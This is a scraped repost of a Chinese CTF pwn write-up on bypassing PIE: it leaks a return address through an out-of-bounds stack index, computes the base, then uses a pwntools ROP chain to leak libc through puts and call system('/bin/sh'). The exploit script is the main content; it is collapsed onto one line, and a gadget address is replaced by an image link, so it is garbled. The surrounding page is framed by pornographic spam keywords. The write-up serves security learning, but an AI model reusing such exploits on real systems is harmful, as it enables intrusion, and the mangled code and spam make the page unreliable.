日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

pie的绕过方式

發布時間:2024/4/17 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 pie的绕过方式 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目標程序下載
提取碼:qk1y

1.檢查程序開啟了哪些安全保護機制

pie機制簡介

PIE(position-independent executable) 是一個針對代碼段.text, 數據段.*data,.bss等固定地址的一個防護技術。同ASLR一樣,應用了PIE的程序會在每次加載時都變換加載基址

pie機制怎么繞過

雖然程序每次運行的基址會變,但程序中的各段的相對偏移是不會變的,只要泄露出來一個地址,比如函數棧幀中的返回地址
,通過ida靜態的看他的程序地址,就能算出基址,從而實現繞過

2.在IDA中查找碼漏洞與可以被我們利用的位置

從這里可以看到 v1被當做v4的下標,v1還是可控的,這樣就可以實現棧上的任意位置讀寫

首先,我們感興趣的肯定是這個函數的返回地址,正常來說,是返回這里的

用匯編看下地址

正常來說B35這個函數返回后應該是0xb11這個位置,如果拿到了程序運行時的b35函數的返回地址

然后把他減去0xb11,就是這次程序運行的基地址了

只不過這個程序有些麻煩,還要一個字節一個字節的輸入,scanf 中的 %d 格式輸入

#!/usr/bin/env python #coding:utf-8from pwn import * #context.log_level = "debug" context.arch="amd64" context.terminal = ['tmux','splitw','-h']p = process("./pwn") #p = remote("xxx.xxx.xxx.xxx",xxxx)elf = ELF("./pwn") libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")def getOffset(ret): p.sendlineafter("input index\n",str(1)) #--------------------p.recvline() # garbagep.sendlineafter("input new value\n",str(1)) #--------------------rip=''for i in range(8):p.sendlineafter("input index\n",str(ret+i))rip=p.recvline()[-3:-1]+ripp.sendlineafter("input new value\n",'15')temp='0x'for i in range(16): if rip[i]==' ':temp+='0'else:temp+=rip[i]rip=int(temp,16)return rip-0xb11def nail(ret,hex_payload):payload=hex(hex_payload)[2:]payload=(16-len(payload))*'0'+payloadp.sendlineafter("input index\n",str(ret))p.recvline()p.sendlineafter("input new value\n",str(int('0x'+payload[-2:],16)))for i in range(7):p.sendlineafter("input index\n",str(ret+i+1))p.recvline()p.sendlineafter("input new value\n",str(int('0x'+payload[-(i+2)*2:-(i+1)*2],16))) rip=0x158 #v4到返回地址的距離 p.sendlineafter("input your name \nname:","hack") offset=getOffset(rip) puts_plt=elf.plt["puts"]+offset puts_got=elf.got["puts"]+offset funaddr=offset+0xb35 pop_ret=offset+![](https://img2018.cnblogs.com/blog/1592252/201904/1592252-20190423235239816-121256018.png)nail(rip,pop_ret) nail(rip+8,puts_got) nail(rip+16,puts_plt) nail(rip+24,funaddr) p.sendlineafter("do you want continue(yes/no)? \n","yes") puts_addr = u64(p.recv(6).ljust(8,"\x00")) # = 0x7fbd6271e690 log.success("puts addr:"+hex(puts_addr)) libc.address = puts_addr - libc.symbols["puts"] log.success("libc addr:"+hex(libc.address)) system = libc.symbols["system"] log.success("system:"+hex(system))nail(rip,system)#The '/bin/sh' are already on the rdi nail(1,1) nail(1,1) nail(1,1) getOffset(1)#gdb.attach(p) p.sendlineafter("do you want continue(yes/no)? \n","/bin/sh") p.interactive()
成功獲得了shell

轉載于:https://www.cnblogs.com/jazm/p/10759943.html

總結

以上是生活随笔為你收集整理的pie的绕过方式的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 五月天激情婷婷 | www.黄色网址.com | 福利片一区二区 | 日批黄色 | 美日韩精品一区二区 | 成人免费视频免费观看 | 狠狠干2021 | 黄色69视频| 日韩欧美一区二区在线观看 | 麻豆爱爱视频 | 可以看的av网址 | 国产精品伦理一区二区 | 久久艹中文字幕 | 中国无码人妻丰满熟妇啪啪软件 | 91精品国产色综合久久不卡电影 | 男女偷爱性视频刺激 | 久久涩综合 | 中文字幕日韩一级 | 手机在线一区二区 | av三级在线播放 | 天天摸天天看 | 短裙公车被强好爽h吃奶视频 | 欧美激情第五页 | 欧美激情电影一区二区 | 99国产精品人妻噜啊噜 | av不卡在线免费观看 | 久草欧美视频 | 亚欧成人精品 | 国产人妖在线 | 亚洲综合站| 国产精品久久久国产盗摄 | 国产欧美精品一区二区三区 | 日韩电影中文字幕在线观看 | 色老头在线观看 | 免费的黄色的网站 | 公车乳尖揉捏酥软呻吟 | 国产精品theporn88 | 九色国产在线 | 亲子乱aⅴ一区二区三区 | 久久午夜场| 欧美自拍偷拍第一页 | 日本少妇激情舌吻 | 成人免费在线播放 | 日韩国产二区 | 香蕉在线网站 | 中文字幕av久久 | 久久神马 | 亚洲性生活 | 小早川怜子一区二区三区 | 一区二区三区视频免费观看 | 中文字幕av有码 | 久久婷婷av| 国产伦理吴梦梦伦理 | 色屁屁一区二区三区视频 | 精品少妇爆乳无码av无码专区 | 久热久操 | 高清一区在线观看 | 18性xxxxx性猛交| 精品人妻一区二区乱码 | 国产麻豆a毛片 | 中文字幕av免费在线观看 | 中国毛片视频 | 在线观看欧美精品 | 一级做a爱片久久 | aⅴ在线免费观看 | 国产日韩精品一区二区三区 | 欧美aa大片 | 蜜臀久久精品久久久久久酒店 | 欧美黄色网络 | av网站免费播放 | 亚洲区在线 | 日韩精品一区二区三区在线观看 | 欧美 变态 另类 人妖 | 国产精品第7页 | www,色 | 亚洲人午夜射精精品日韩 | 激情综合区 | 超碰2025 | 一区二区三区 中文字幕 | 亚洲国产视频网站 | 欧美日韩在线视频播放 | 女同在线视频 | 91久色| 三级av毛片 | 久久视频一区二区三区 | 亚洲无人区码一码二码三码的含义 | 国产欧美一区二区精品性色超碰 | 69pao| 清清草免费视频 | 日日日操操操 | 日韩欧美中文字幕一区二区 | 国产高清视频网站 | 欧美性生活在线视频 | 男人操女人的软件 | 黄黄的视频在线观看 | 天天插av | 寡妇高潮一级视频免费看 | 中文字幕网址在线 | 非洲一级黄色片 |